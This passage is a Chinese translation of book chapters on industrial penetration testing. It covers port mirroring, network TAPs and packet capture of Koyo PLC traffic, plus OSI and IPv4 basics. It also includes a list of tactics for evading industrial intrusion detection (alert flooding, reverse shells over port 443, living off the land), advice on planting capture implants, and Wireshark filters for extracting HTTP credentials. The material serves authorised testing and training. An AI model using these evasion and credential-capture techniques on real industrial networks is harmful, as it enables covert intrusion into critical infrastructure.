一旦你安装了 Wireshark,通过双击桌面图标打开程序,并确保你能看到所有的网络接口,如下图所示:

图 5.1 – Wireshark 捕获接口

](image/Figure_5.01_B16321.jpg)

图 5.1 – Wireshark 捕获接口

在这里,你将能够选择一个接口并开始监听网络流量。关键是,你看到的网络流量只会是广播、组播和单播流量,这些流量直接与该接口相关。例如,如果你选择你的 Wi-Fi 接口,你将看到很多设备通过组播和广播通信在网络上进行交流,尤其是如果你像我一样,拥抱物联网IoT)。我特别指出这一点,因为它引出了下一部分,我们将看看更有趣的数据。我的意思是,来自特定设备之间单播通信提供的数据。你必须访问 SPAN/镜像端口或在设备之间安装 TAP 才能捕获这些数据。

在这一部分中,我们学习了如何根据操作系统的不同使用不同的方法安装 Wireshark。我们确保查看了可以用来捕获流量的网络接口列表。最后,我们注意到,仅通过监听网络端口获取的信息并不能提供完整和详细的图景。我们需要访问 SPAN 或 TAP 才能看到真实的设备间单播通信。在下一部分中,我们将讨论什么是 SPAN/镜像,并学习如何在一个简单的管理交换机上配置这一功能。

什么是 SPAN,如何配置它?

在上一部分中,我们快速安装了 Wireshark 以捕获网络流量。现在,我们可以使用 Wireshark 来验证我们的结果。我们将能够做到这一点,一旦我们在这一部分配置了一个简单的 SPAN/镜像端口。那么,什么是 SPAN,它的作用是什么?SPAN 允许用户将一个或多个端口上的所有流量复制到同一交换机上的一个或多个端口,前提是该交换机支持 SPAN/镜像。这通常被称为本地 SPAN。这是将数据馈送到 IDS 的主要方法。SPAN 有一些扩展,称为远程 SPANRSPAN)和封装远程 SPANERSPAN)。

RSPAN 允许用户将远程网络流量与专用 VLAN 关联,然后将这些数据通过额外的交换机进行中继。然而,这需要付出一定的代价,因为你需要为 RSPAN 流量专门分配交换机端口。你将无法再将这些端口用于正常流量,因此减少了可以用于操作交换的端口数量。然而,利用 RSPAN 在渗透测试中非常有用,因为可以捕获并利用通过网络传输的关键信息来突破系统。凭证数据、操作系统、端口和服务以及其他有用信息通过网络传输,并通过 SPAN 直接传输到你的计算机,使用 Wireshark、TShark 或 Tcpdump 捕获。

注意

使用本地 SPAN 或 RSPAN 会导致交换机负载增加。如果交换机负载过重,也就是有大量流量通过交换机,使用 SPAN 可能会导致数据包丢失及其他不希望的行为,例如生产中断。由于交换机超负荷工作而开始丢包导致的停机造成的收入损失,是渗透测试中最糟糕的结果。因此,在对你不完全控制或不了解的交换机执行此操作时,务必小心。

请注意,SPAN 和端口镜像是可以互换使用的术语,因为它们本质上意味着相同的事情。所以,如果你在问我为什么写 SPAN/镜像,那是因为它们本质上是相同的,而 SPAN 其实是一个以 Cisco 为中心的术语。在技术要求部分提到的交换机——TP-Link TL-SG108E 智能交换机——使用了端口镜像。以下图所示为本地 SPAN 的典型设置或架构:

图 5.2 – SPAN 流量

图 5.2 – SPAN 流量

你可以使用任意数量的交换机来测试这个设置。我们将检查端口设置;在以下截图中,你可以看到这是一台简单的八端口交换机。四个端口正在被使用——三个以 1 GHz 运行,一个以 100 MB 运行:

图 5.3 – 端口设置屏幕

图 5.3 – 端口设置屏幕

看到某个端口正在以较低的速度协商,安全地说,该端口用于 PLC 通信,并且该端口是端口 2。虽然我知道这是因为我设置了实验室,但在实际的渗透测试中,如果你恰好获得了这种级别的访问权限,可以安全地假设较低的速度是由于工业硬件通信造成的。

在查看了交换机的端口设置后,我们清楚地了解了哪个端口用于 PLC,以及哪些端口是开放的,可以用来将通信镜像回我们的主机。接下来,我们将设置端口镜像。从左侧菜单中选择监控选项,然后选择端口镜像。你将进入以下屏幕:

图 5.4 – 端口镜像屏幕

图 5.4 – 端口镜像屏幕

从这里开始,我将选择启用端口镜像功能,并选择镜像端口,它将是端口 1,然后点击应用按钮,如下截图所示:

图 5.5 – 启用端口镜像

图 5.5 – 启用端口镜像

接下来,我们要选择要监控的端口。通过检查端口设置,我们发现端口 2 已连接到 PLC。所以,点击端口 2,并启用入口流量和出口流量,如下所示:

图 5.6 – 端口 2 镜像

图 5.6 – 端口 2 镜像

如果一切按照前面的步骤进行操作,表格将显示 端口 2 已启用 IngressEgress 流量,如下图所示:

图 5.7 – 确认端口 2 镜像

图 5.7 – 确认端口 2 镜像

如果你跟着操作并且已经拿到了 Koyo Click,那么继续并打开我们在第二章中安装的 CLICK 编程软件,路由硬件,在 Windows 7 主机上连接到你的 PLC。如果你使用的是其他厂商的设备,例如 Rockwell,确保你打开 Studio 5000 或 RSLogix 并连接到你的硬件。工程软件和 PLC 之间的通信将在我们的交换机的端口 2 上创建流量。这正是我们想要的,因为复制的数据包会被镜像到端口 1。将一根电缆连接到端口 1 和你的主机之间。

在你的主机上,打开 Wireshark 并选择你想要监控的接口。在我的例子中,我的 Mac 上有一个 Thunderbolt 适配器,我使用的是标记为 en6 的接口,如下图所示:

图 5.8 – 接口选择

图 5.8 – 接口选择

选择后,你将看到工程软件和 PLC 之间的通信,如下图所示:

图 5.9 – Wireshark

图 5.9 – Wireshark

深入分析 Wireshark 日志超出了本书的范围,但我们将在接下来的几章中简要触及一些关键方面。点击任意数据包并查看源地址和目标地址。如果一切设置正确,你将看到 MAC 地址解析为 KoyoElec_##:##:##

Wireshark 只是查看网络流量的一种图形化方式。如果你想通过终端查看相同的数据,可以使用 Tcpdump。打开终端并找到连接到端口 2 的接口。输入以下命令:

tcpdump -i -v -X

Tcpdump 是捕获镜像流量的应用程序。命令中的 i 允许你选择要监听的接口。在我的案例中,这是 en6 接口。v 命令告诉 Tcpdump 显示详细数据。最后,X 显示每个数据包的头部和数据,以十六进制和 ASCII 形式显示,如下图所示:

图 5.10 – Tcpdump 命令

图 5.10 – Tcpdump 命令

Tcpdump 的输出应与通过 Wireshark 查看时看到的捕获数据一致。比较两者,确保你看到的是相同的信息。该捕获数据如下面的截图所示:

图 5.11 – Tcpdump 输出

图 5.11 – Tcpdump 输出

现在,你可能在想,这与我和我的渗透测试未来有何关系? 可以理解的是,访问交换机控制台并花时间设置一个 SPAN 会话可能会显得非常奇怪,因为在这个访问级别上可以做很多其他有趣的事情。我只是简单地介绍了 IDS 用来吸收数据的核心构建块。这一点非常重要,因为在过去的五年左右,工业自动化领域被动监控的采用量激增。你将在某种形式上遇到 IDS 解决方案,理解它们的工作原理和功能是关键。我们将在本章稍后部分详细讨论这一点。

本节中,我们讨论了理解 SPAN/端口镜像的重要性以及它所启用的技术。我们讲解了如何配置镜像端口,并使用 Wireshark 和 Tcpdump 来查看和捕获 Koyo CLICK PLC 与工程软件之间的流量。在接下来的部分,我们将讨论 TAP 是什么,它与 SPAN 流量的比较。我们还将讨论当你有物理访问权限时,TAP 在渗透测试中的重要性。

在一次渗透测试中使用 TAP

在上一节中,我们讨论了 SPAN 是什么以及如何配置和使用它。在本节中,我们将回顾 TAP 是什么、TAP 的不同类型以及它们如何在渗透测试中使用。通常,TAP 是硬件设备,插入在两个通信链路之间,以便我们能够执行完整的包复制。TAP 可以将流量复制到单一目的地或多个目的地,这称为 再生,或者 TAP 可以提供汇总流量,这被称为聚合。

TAP 和 SPAN 之间有很多不同之处,但在我看来最重要的一点是,SPAN 并不是一种真正的被动解决方案,因为它会在交换机上产生额外负担。话虽如此,TAP 会生成流量的完整副本,而不会影响交换机的性能或使其崩溃。缺点是,为了访问数据包,你必须更换电缆,这可能会导致服务的短暂中断。

TAP 主要有两种类型——主动和被动。被动 TAP 之间的接口没有物理断开,这样即使 TAP 出现故障,通信也能继续进行。而主动 TAP 则使用电源复制接口之间的通信,允许其以 1,000 M 的速度运行,而被动 TAP 仅支持 10/100 M 网络。在千兆网络上使用被动 TAP 会导致网络性能下降并产生性能问题。正如你在前一部分中回顾的那样,我们看到 PLC 通信默认在 100 M 下运行。这使得我们在进行渗透测试时可以使用被动 TAP,而不必担心引起性能问题,但我再次强调,在将植入物安装到网络之前,你必须确切了解网络的运行情况。这是一个警示故事,因为在过去的渗透测试中,我确实曾破坏过关键网络。在我们的实验室环境中,你无需担心会影响任何关键服务。这也是拥有实验室来进行测试和观察行为的一大魅力。

一款流行的被动 TAP 是 Great Scott Gadgets 的 Throwing Star LAN TAP。它可以在 greatscottgadgets.com/throwingstar/ 找到:

图 5.12 – Throwing Star LAN TAP

图 5.12 – Throwing Star LAN TAP

Throwing Star 上有四个连接器,标为 J1 – J4,其中 J1 和 J2 是内联连接,J3 和 J4 是监控端口。在我们的实验室中,我们将 J1 连接到 Koyo CLICK PLC,然后使用一根电缆将 J2 连接到交换机。完成后,将 J3 连接到你的笔记本电脑,并使用 Wireshark、TShark 或 Tcpdump 来捕获流量,正如我们在前一部分中所做的那样。在这个示例中,我们将使用 TShark 来捕获并显示流量。正如你在安装 Wireshark 部分回顾的那样,TShark 是一个可选组件,可以在安装过程中添加。输入以下命令进行操作:

Tshark -i

与 Tcpdump 类似,-i 选项允许你选择用于捕获过程的接口。我将使用我们之前使用的相同接口,即 en6。你可以在下面的截图中看到相应的命令:

图 5.13 – Throwing Star LAN TAP 捕获

图 5.13 – Throwing Star LAN TAP 捕获

捕获的数据包将与我们之前看到的格式相同。我这里附上一张截图,方便你与之前的 Tcpdump 捕获进行对比:

图 5.14 – TShark 数据包捕获

图 5.14 – TShark 数据包捕获

在这里,您可以看到使用 TAP 对于深入了解网络非常有用。如果您可以物理接入交换机,只需插入 TAP 即可开始捕获该端口上的数据交换。这将使您能够理解正在使用的协议,并可能捕获正在网络上传递和交换的独特和敏感信息。

许多供应商出售 LAN TAPs,但我建议看看 Hak5 在这个领域提供了什么。这里是他们商店的链接和特别的植入工具:shop.hak5.org/collections/implants

您可以找到 Throwing Star LAN TAP、Throwing Star LAN TAP Pro 以及其他出色的植入工具,如 Packet Squirrel 和 Plunder Bug LAN TAP。Plunder Bug LAN TAP 可以实时捕获流量,与 Throwing Star LAN TAP 完全相同的方式,直接捕获到 USB-C。我希望简要提到 Packet Squirrel,因为它可以留在工作中;您可以在以后的某个日期恢复它。我们可以设置有效载荷自动生成 PCAPs,在您希望发现网络中漂浮的可能凭据时非常有帮助。我知道这严格来说不是 TAP,但您可以将其连接到 Hak5 Cloud C2 进行管理和数据外流,从而可以访问感兴趣的网络流量:

图 5.15 – Packet Squirrel

图 5.15 – Packet Squirrel

如果您查看有效载荷选择开关,您将看到可以启动多个预先制作的漏洞利用。您也可以花时间编写自己的自定义有效载荷。

故事时间

2016 年秋天,我去了加利福尼亚州去 Hak5 办公室玩耍。他们正在举办一个名为Pentest with Hak5的红队培训活动。有很多人参加了培训活动,我们与 Darren Kitchen、Sebastian Kinne、Rob "Mubix" Fuller 和 Shannon Morse "Snubs"一起度过了时间。我们花了一周时间进行实践培训,学习如何使用 Wi-Fi Pineapple、LAN Turtle、Rubber Ducky 和深入 Metasploit。我们练习使用提供给我们的工具,并在一周结束时,我们的任务是试图阻止邪恶机器人删除互联网上所有的猫图像。Hak5 团队正在开发新的有趣工具,可以在实际工作中使用。我强烈建议查看他们的装备并熟悉它。– ThunderCats 2016

到目前为止,我们讨论了便携式“植入”类型的 TAP。然而,还有一些商业级 TAP 是公司用来构建带外安全监控网络的。这个领域有一些重要的厂商,其中最著名的之一是 Gigamon。这些更大型的“主动”TAP 解决方案可以支持 1G 和 10G 网络,从而将所有流量复制到监控设备上。我们将特别在“核电”安装中看到这些设备,可能根据企业安全预算的不同,它们也会出现在能源及其他重要工业领域。我之所以这么说,是因为硬件的成本和安装的庞大体量通常对于大多数组织来说是个不可接受的因素,因此,SPNA/镜像端口实际上成为了 IDS 被动监控解决方案的默认选择。

在本节中,我们讨论了如何在你整个职业生涯中以某种形式遇到 TAP,无论是通过渗透测试访问带外网络,还是通过植入设备留下后门。非常重要的一点是,要熟悉这一领域的不同厂商,并在实验室中使用它们。我们安装了一个 Throwing Star LAN TAP,并使用 TShark 验证我们是否成功捕获了 Koyo Click PLC 与我们在第二章中安装的工程软件之间的单播通信,路由硬件。这为下一节做了铺垫,我们将在下一节中讨论 IDS 及其在工业网络中开始扮演的重要角色。

导航 IDS 安全监控

到目前为止,我们已经安装了 Wireshark,了解并配置了 SPAN/镜像端口,并安装了“被动”TAP。这一切都为本节内容铺平了道路。对于那些怀疑被动监控真实性的“纯粹主义者”,请注意,各种厂商的技术已经被广泛采用,并且在几乎所有的渗透测试工作中都会遇到。我想这可以反映出公司安全成熟度的一些信息:随着他们参与第三方渗透测试,可以肯定的是,这些公司会投资新的监控工具来监控他们的工业网络。

在本节中,我们将讨论 IDS 安全监控领域的各种厂商,提供一个高层次的概述,讲解他们通常检测什么,如何将其融入更广泛的安全工具套件中以进行事件和警报监控,并学习如何在渗透测试过程中绕过这些产品,避免被检测到。因为如果 IDS 检测到你的 IP 地址并向网络访问控制NAC)发送 API 调用,然后该 NAC 推送一组新的安全组标签SGT),实质上会将你的 MAC 地址丢弃在所有交换机上,这会让你感到非常沮丧:

图 5.16 – IDS

图 5.16 – IDS

IDS 的理念和实施自 1980 年代以来就已存在。这项技术的推动力来源于对加强网络安全的需求。在过去的 40 年里,许多公司要么被收购,要么被出售,或逐渐消失。IDS 的发展非常有趣且历史悠久,但我希望将焦点集中在 IDS 对工业领域的直接影响上。1998 年,“Snort”问世,它是一个“开源”网络 IDS。像大多数技术一样,“Snort”允许爱好者和其他初创公司利用基于规则的引擎,开发更深层次的检测。快进到下一个十年,像 Digital Bond 和 Industrial Defender 这样的公司开始使用针对工业设备定制的规则,以检测恶意活动和攻击。

2009 年,一家名为“Security Matters”的公司在荷兰成立,专注于工业网络检测。11 年前的 2010 年 3 月,爱达荷国家实验室的三位研究人员发布了一篇名为《Sophia 概念验证报告》的论文。其目的是通过简单地监听网络流量来可视化地指纹化工业网络。

2013 年,成立了两家公司——一家位于美国,名为“Dragos”,另一家位于瑞士,名为“Nozomi Networks”,这两家公司都在被动监控领域推出了产品。前者“Dragos”推出了名为 Cyberlens 的产品,后者“Nozomi Networks”推出了名为 SCADAguardian 的产品。

2014 年,工业入侵检测市场爆发,十多家公司推出了此类系统。大多数公司来自以色列,由前 8200 以色列国防军成员推动,尽管值得一提的还有 Indegy、SCADAFence 和 Claroty。Sentryo 也于 2014 年成立,总部位于法国。所有这些公司都在进行“协议分析器”竞赛,竞赛的目标是看哪家公司能为资产发现提供最丰富、最全面的工具。

在下一章中,我们将深入探讨协议及其结构,但目前最重要的要点是,IDS 监控设备执行深度包检测,并分析流量中的恶意行为。之前提到的所有系统都会追踪新关键元素的出现,例子包括:

  • 网络中检测到新的 MAC 地址

  • 网络中检测到新的 IP 地址

  • 网络中检测到新的协议

  • 网络中检测到新的通信路径

在从企业端到工业网络的过程中,你应该将这些元素牢记在心。知道你的机器会被检测和指纹识别将帮助你开发不同的技术和策略来掩盖你的踪迹。在这一点上,我们知道如果这些系统检测到新设备和新通信,它们将生成一个事件或警报,取决于每个系统的命名约定。了解 IDS 如何处理警报至关重要;系统是否与 NAC 或防火墙集成?集成是否会导致在网络中深入遍历时出现问题?防火墙是否会阻止我们连接到较低级别系统?NAC 是否会向其管理的交换机推送 SGT,最终丢弃数据包?在浏览网络时,所有这些都是重要问题需要解决。

然而,并非一切都失去了,即使系统完全调整并部署了最新的数据包规则、YARA 规则、签名和集成。幸运的是,这些 IDS 监控系统在其装甲中存在我们可以利用的弱点。以下是我们可以使用的一些可利用的策略的简短列表,以颠覆被动监控:

  • 节点许可饱和

  • 警报耗尽

  • 其他协议或不常见端口

  • 加密协议的使用

  • 生存于土地

如果我让你认为所有 IDS 都容易受到这些攻击的影响,那我就有所失职了。这些只是通过以前的参与和研究发现的一些策略,它们以不同的方式影响各种 IDS 设备。

节点许可饱和

这种技术通过向网络引入大量新节点,最终导致监控解决方案达到许可节点计数。之后,你可以引入你的攻击策略,因为 IDS 解决方案不会检测和/或警报你的设备,当你在网络中深入时。通过这样做,你有效地使系统无法查看你的活动。

警报耗尽

这类似于节点许可饱和,但 IDS 解决方案不容易受到许可计数限制的影响。相反,它只是制造了大量噪音,使最终用户永远找不到活动。再次,这引入了大量新节点和活动到网络中,这很容易在系统中创建数十万个警报。

其他协议或不常见端口

这通过利用不常见的端口将攻击传递到系统中。根据监控系统,如果端口尚未与解析器关联,IDS 将标记流量为“其他”,并且不会对其进行进一步分析。一个例子是通过非标准端口传递 HTTP。

加密协议的使用

这是专门用于通过网络进行反向外壳的端口443或 HTTPS 的参考或利用。通过端口443进行通信通常是允许的,因为它被标记为 HTTPS 通信,因此通常不会对链接进行进一步分析,从而使我们能够无法检测地通过。

生存于自然

这是在进行渗透测试时最具隐蔽性的策略,因为我们可以利用网络中已经存在的设备和协议来实现不被检测。过去非常突出的攻击利用了这种策略,并导致某个核计划受到破坏 - 是的,这是对“Stuxnet”的引用。访问 HMI、数据历史记录或操作员工作站使我们能够通过正常方法和操作发送设定点更改或配置更改。通过 HMI 打开和关闭阀门似乎是正常行为,并且在网络中不会被注意到。

在本节中,我们讨论了什么是 IDS 以及工业 IDS 演变的历史。我们讨论了 IDS 是如何发现和检测的,我们还介绍了一些用于掩盖我们攻击的方法。了解并利用这些细节将有助于您在未来的客户参与中。

摘要

在本章中,我们了解了什么是 SPAN/镜像和 TAP,以及了解它们如何融入 ICS 生态系统的重要性。了解如何查看网络上的内容以及如何与之交互对于取得成功至关重要。发现哪些流量正在通信和交换数据使我们能够构建客户在其网络中拥有的资产的网络拓扑。在参与过程中,需要利用诸如 Wireshark、TShark 和 Tcpdump 等技术实时监听和审查流量。本章列出的 IDS 供应商等更先进的技术甚至会披露自动发现的漏洞。

在下一章中,我们将讨论如何监听网络上的 SPAN 或 TAP,我们将构建数据包捕获,以便分析和解剖网络上传输的协议。这是 IDS 公司用来开发产品的秘密武器。这是协议解析器的一场军备竞赛。在下一章中,第六章**,数据包深入解析,我们将深入研究数据包和数据包捕获。

第六章:数据包深度剖析

之前,我们讨论了什么是交换机端口分析仪SPAN)/镜像测试接入点TAP),以及如何使用 Wireshark、Tcpdump 和 TShark 配置镜像端口,以监听工程软件与我们的 Koyo Click 可编程逻辑控制器PLC)之间的通信流量。我们还回顾了入侵检测系统IDS)技术如何利用 SPAN/Mirror 和 TAP 对工业网络流量进行 深度数据包分析。此外,我们还简要提到了一些在渗透测试过程中绕过 IDS 监控的方式和策略。

在本章中,我们将更深入地了解软件与 PLC 之间的通信路径,并将使用 Wireshark 更详细地分析这些数据包。在渗透测试中,捕获和分析流量对于成功至关重要,正如上一章所提到的。此外,理解环境、资产、活动和协议是至关重要的。本章将帮助你通过捕获流量并分析这些流量提取出关键信息,为未来的成功奠定基础。

在本章中,我们将涵盖以下主要内容:

  • 数据包是如何形成的?

  • 捕获网络中的数据包

  • 分析数据包中的关键信息

技术要求

本章你将需要以下内容:

你可以在此查看本章的代码实际操作:bit.ly/3veDRlW

数据包是如何形成的?

为了全面理解网络中发生的事情,让我们快速了解一下数据包基础知识。数据包是字节大小的数据中继,它们在源资产和目标资产之间传递信息。以推动互联网流量的协议为例,传输控制协议TCP)和互联网协议IP)组成了著名的缩写 TCP/IP。这些数据中继通过一系列交换机路由,并重新组装,使我们能够发送电子邮件、浏览网站、下载软件补丁、观看电影、监控电梯、管理火车、制造产品、生产能源,以及许多其他有趣和动态的事情。

为了全面理解数据包及其工作方式,了解它们如何在开放系统互联OSI)模型的各层之间流动至关重要。OSI 模型在 80 年代中期被创建并采用,旨在为描述系统通过网络进行通信所使用的七个层次设定标准。从最上层开始,逐层向下,您可以在以下图表中查看各层的列表:

图 6.1 – OSI 模型

图 6.1 – OSI 模型

现在,参考前面的图表,我们将逐层解析每个层,并简要说明每个层的功能以及它如何为 OSI 模型做出贡献。

应用层

这一层为用户提供直接交互,例如承载 SCADA 接口的网页浏览器、人机接口HMIs)、数据历史记录器,以及任何其他可直接查看和控制的软件。与此层相关的协议包括httpftpdns

表示层

这是数据编码、加密和解密发生的层,以便数据从会话层传递到应用层。

会话层

当设备如 RTU、PLC、流量计算机、控制器、气相色谱仪GCs)、服务器和其他设备需要相互通信时,通信通道会被创建。这些被称为会话。该层负责打开这些通道,确保它们正常工作,并在数据通过时保持开启。

传输层

在传输层,会就速度、数据速率、流量控制和错误检查进行协商。TCP 和 UDP 就是在这一层运行的。

网络层

这是通过利用 IP 地址在网络上源节点和目标节点之间传输数据的路由层。

数据链路层

与这一层相关的有两个部分,逻辑链路控制LLC)和媒体访问控制MAC),它们提供直接的节点对节点通信。网络交换机通常在这一层工作。

物理层

再次回到用户的手中。这一层指的是物理连接,例如插入以太网端口的电缆或在网络上通信的无线网卡。

现在我们大致了解了 OSI 模型及各层之间的关系,接下来我们将快速概述 IPv4 数据包的结构。

注意

如果你跟我走到这里,你可能会问自己:“为什么要讲这些基础内容?”说实话,当我开始写这本书时,我的想法是写一本关于工业渗透测试的介绍,主要面向来自 IT 安全领域的人。最近,我和很多在自动化领域工作的朋友进行了对话,他们希望转行做安全。因此,我正在努力弥合这两类不同背景的读者之间的差距。我希望能为我的朋友们提供一本参考书,他们可以跳过自己已经熟悉的部分,快速了解他们第一次接触的主题。

好的,既然免责声明已经说完,我们现在来看一下数据包的结构。以下是一个 IPv4 数据包的一般设计:

图 6.2 – 一个 IPv4 数据包

图 6.2 – 一个 IPv4 数据包

上图中概述的头部字段详细说明如下:

  • 版本:这个字段始终设置为4,因为这是最新的 IP 版本。

  • IP 头长度(IHL):这个字段表示 IP 头的长度,以 32 位为单位。

  • 服务类型(ToS):这个字段用于确定服务的质量或优先级。

  • 总长度:这个字段表示数据包的整体大小,以字节为单位。

  • 标识:网络使用这个字段来重新组装任何被分片的数据包。

  • 标志:这个字段用于控制数据包的分片。它由 3 位组成;第一位为 0,第二位是“不要分片”位,第三位是“更多分片”位。

  • 片段偏移:这个字段确定数据包片段的位置。

  • 生存时间(TTL):这个字段用作防止数据包循环的机制。

  • 协议:这个字段用来表示协议类型。TCP 的值为6,UDP 的值为17

  • 头部校验和:这个字段用于存储校验和,并用于错误处理。

  • 源地址:这个字段包含源 IP 地址。

  • 目的地址:这个字段包含目的 IP 地址。

  • 选项:这个字段通常不会使用。

  • 数据:这部分包含要发送给节点的信息。

这是对 IPv4 数据包结构的简要概述,关于这个特定主题还有更多可以研究的信息。我只是想提供一些背景知识,这样当我们开始在 Wireshark 中查看帧和数据包时,你能够理解引用的内容以及为什么细节和信息以这种方式显示。Wireshark 参考资料的直接链接可以在 https://www.wireshark.org/docs/wsug_html_chunked/ChUsePacketDetailsPaneSection.html 找到。

在这里,我截取了 Wireshark 的“数据包详情”面板的截图:

图 6.3 – 数据包详情面板

图 6.3 – 数据包详情面板

现在,在你的系统上,尝试扩展与我们先前讨论的各层相关的元素。我将扩展的第一个元素是以太网 II元素,如下图所示:

图 6.4 – 以太网层

图 6.4 – 以太网层

这个以太网 II元素与前面讨论过的数据链路层直接相关。我们可以看到我们有目的地MAC 地址、MAC 地址、类型填充。与 MAC 地址的前 3 个字节相关的组织唯一标识符OUI)非常有趣。在这里,你可以看到 Wireshark 正在解析 OUI,并且 VMware 和我们的 KoyoElec PLC 都已解析。在以下的截图中,我们可以看到网络层:

图 6.5 – 网络层

图 6.5 – 网络层

在这一层,我们可以直接将先前概述的 IPv4 布局映射到我们捕获到的在 Koyo Click PLC 和工程软件之间传输的包。以下是网络层中重要字段的列表:

  • 版本:4

  • IHL:20 字节

  • TOS:0x00

  • 总长度:43

  • 标识:0x61ff

  • 标志:0x00

  • 片偏移:0

  • 生存时间:128

  • 协议:UDP(17)

  • 头部校验和:0x5354

  • 源地址:192.168.3.10

  • 目的地址:192.168.1.20

我们接下来要审查的是传输层。在这一层,应用程序通过端口与彼此通信。以下截图显示了传输层:

图 6.6 – 传输层

图 6.6 – 传输层

在这里,我们可以看到使用了源端口:54782目的端口:25425。最后,我们将查看 Wireshark 数据包详情面板中的数据元素/应用层。这就是可以找到应用程序数据的地方。通常,这是数据包中最有趣的部分,因为像凭证这样的内容通常以明文形式出现在这里。以下截图代表了应用层:

图 6.7 – 应用层

图 6.7 – 应用层

这里的数据尚未解析为清晰的元素,因为我没有运行专用的 Koyo Click 协议解析器。我们可以查看数据包字节面板中的 ASCII 转换,如下所示:

图 6.8 – 数据包字节面板

图 6.8 – 数据包字节面板

如前面截图所示,4b 4f 50开始了数据部分。如果你查看 ASCII 转换,你会看到它包含了KOP的字符。这是 Koyo Click 协议的直接标记。

在本节中,我们介绍了 OSI 模型和数据包结构。然后,我们将 OSI 模型和数据包结构的理论与我们实时捕获的流量进行了关联。这帮助我们在理论和实际应用之间建立了联系。在下一节中,我们将更详细地观察在我们的工程软件中运行命令,通过镜像端口使用 Wireshark 捕获流量,然后更深入地分析KOP 协议。这个分析将帮助我们在未来的渗透测试中,因为我们可以开始构建并提高分析未知协议的技能——这是你在职业生涯中一定会遇到的挑战。

在网络中捕获数据包

在上一节中,我们讨论了 OSI 模型是什么,以及构成和构建该模型的各层。我们回顾了数据包是如何构建的,然后直接将数据包结构与 PLC 与工程软件之间的通信交换进行比较。在本节中,我们将更深入地探讨 Wireshark,并关注我在参与项目时常用的一些关键功能来捕获流量。回顾一下,在第五章**《如果你能找到我》中,我们使用 Wireshark 验证了我们的镜像端口是否已正确设置和配置。

现在,我想在即将到来的内容中强调两个非常重要的点,并向同行的安全专家们致敬,同时也向我个人过去曾用来提高技能的资源致谢:

这两个资源提供了不同类型的内容。我将Wireshark 101 by Laura Chappell 作为我的核心图书馆的一部分,第一个链接是向 Laura 致敬,她为提供专注于使用 Wireshark 进行网络故障排除和安全取证的内容做出了出色的贡献。第二个链接是指向一个专门讲解 Wireshark 的房间。如果你想进行互动式的实操训练,我强烈推荐这个网站和房间。这个网站是红队领域任何人都可以利用的一个好资源。我个人花时间在这个网站上更新由社区分享的新战术。

话不多说,我们直接开始。我们将打开 Wireshark 并选择我们的捕获接口。你应该会看到一个可能的接口列表,类似于以下屏幕截图:

图 6.9 – 捕获接口

图 6.9 – 捕获接口

在上述截图中,我希望聚焦于…使用此过滤器输入字段。这使我们在捕获流量时能够提供精确的焦点。如果我们特别寻找唯一的主机、一系列主机、协议或与参与相关的任何特定内容,这就是我们可以定义捕获过滤器的地方。

注意

捕获过滤器不应与显示过滤器混淆。捕获过滤器会丢弃或忽略超出过滤条件的数据包,而显示过滤器仅隐藏数据包但允许您保留它们以进行更深入的分析。在参与时,如果您不清楚自己正在捕获的内容,我建议捕获所有内容,然后稍后使用显示过滤器。

捕获过滤器

在现场使用的一些简单的捕获过滤器示例包括以下内容:

  • 主机: 这将捕获与给定主机相关的所有通信。在本例中,所有源自或指定为192.168.120的通信将被捕获,所有其他流量将被丢弃。如果您的客户对非常专注的渗透测试有限制,这将非常有用。您可以使用以下命令来实现这一点:

    主机 192.168.1.20

  • 网络: 这将捕获与给定子网相关的所有通信。本例仅捕获目标为或来自192.168.1.0/24子网的流量。如果您的客户不希望您与其他网络或通信交互,这非常方便。这通常被称为灰盒或白盒渗透测试,我们将在下一章节详细介绍。您可以使用以下命令:

    net 192.168.1.0/24

  • 端口: 这将捕获与给定端口相关的所有通信。在本例中,我们将专注于通过端口502进行的Modbus流量通信。当我们想追踪特定流程内相关的特定协议时,这非常方便。您可以参考以下命令:

    端口 502

如果您想专门跟踪文件传输协议FTP)、网络文件系统NFS)、SMB 文件传输、TELNET 或基本的 HTTP 认证,还有许多更复杂的过滤方法可以使用。使用捕获过滤器可以让您专注于关键数据包,并在实现目标后将数据保持在可管理的大小。一切可以通过捕获过滤器做的事情,您也可以通过显示过滤器来完成。捕获过滤器与显示过滤器之间最显著的区别是,在相同捕获时间下,文件大小的变化。在非常嘈杂的网络中,只需几秒钟就可以捕获到数百万个数据包。在达到目标之前,可能已经捕获了数 GB 的数据。虽然使用捕获过滤器的好处是您确实可以得到小且易于管理的数据包捕获,但您会失去其他流量中可能隐藏的宝贵信息。接下来,在本书的剩余部分,我们将专注于显示过滤器。这是因为它们能够捕获所有数据包,从而让我们对有趣的攻击向量进行进一步的取证分析。如果使用捕获过滤器,可能会错过这些向量,因为捕获过滤器只会保留符合过滤条件的数据包。

显示过滤器

停止当前的 Wireshark 捕获,移除捕获过滤器,并重新选择您的接口。这将允许我们记录网络上的每个数据包。现在,您应该能够看到您的 Koyo Click PLC 或您在实验室中设置的任何 PLC 与工程软件进行通信的情况。以下是您应该看到的示例截图:

图 6.10 – PLC 与工作站之间的通信

图 6.10 – PLC 与工作站之间的通信

我想重点介绍显示过滤器输入栏,如以下截图所示:

图 6.11 – 显示过滤器

图 6.11 – 显示过滤器

这里是分析发生的地方。对于这个特定部分,我将讨论在渗透测试过程中使用的关键过滤器。为此,我认为最好的方法是专注于一些特别有趣的协议,这些协议能够帮助我们在操作技术OT)环境中获得立足点。在网络内部,会有很多以工业控制系统(ICS)为中心的协议,如 Modbus、Ethernet/IP、DNP3、S7、HART 等。下一章将更详细地介绍这些内容。然而,在本节中,我希望关注一些容易获取的内容。这些特定协议在我的渗透测试过程中帮助最大,它们在网络中携带了大量信息,并且在穿透客户的基础设施时非常有用。

HTTP

从 HTTP 协议中可以获取许多信息,这也是为什么每个人在安全领域都在推动实现 HTTPS 的原因。对我们来说,幸运的是,在工业控制系统(ICS)领域,有 SCADA 系统、HMI、RTU、PLC、流量计算机和 GC 等设备使用传统的 Web 界面来提供信息和/或执行控制。HTTP 协议中包含了许多重要的数据点。你可以通过基本认证提取凭证,可以找到更复杂的混淆形式并在http.authorization中过滤摘要,可以捕获请求方法,可以捕获资产细节以及在内部网络中通信的设备等等。以下是一些重要的 HTTP 过滤器:

  • http.authbasic: 这个过滤器用于查找基本认证,我们可以轻松地提取并解码,因为用户名和密码是 Base64 编码的。根据公司的安全成熟度,这些数据仍然可以在未更新的旧系统中轻松找到。

  • http.authorization: 这是一个可以用来提取授权和摘要访问的过滤器,用于协商凭证,然后使用hashcatJohn the Ripper等工具进行暴力破解凭证。我们将在下一章中介绍如何暴力破解密码。

